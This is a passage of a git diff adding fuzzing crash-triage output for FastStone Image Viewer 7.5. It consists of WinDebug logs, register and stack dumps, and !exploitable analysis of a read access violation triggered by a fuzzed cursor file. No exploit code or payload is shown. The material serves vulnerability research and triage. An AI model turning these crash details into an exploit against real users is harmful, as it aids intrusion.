-5.48874e+018 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00256000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00256000 ed60f1ab 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00256000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f6bd738 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x10D0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x10D0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(10d0.f50): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=00000d2d ecx=07e27b10 edx=00003879 esi=12768f40 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.710084804326605920000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 2.855072100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=0.412816 9.20945e+021 2.14367e+022 -5.48874e+018 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f08130 07e85930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00256000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00256000 ed60f1ab 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c8 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00256000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9531c97 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/24310/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1f4feb5 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f59777f --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/25147/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,193 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x19F0: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x19F0: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(19f0.91c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d 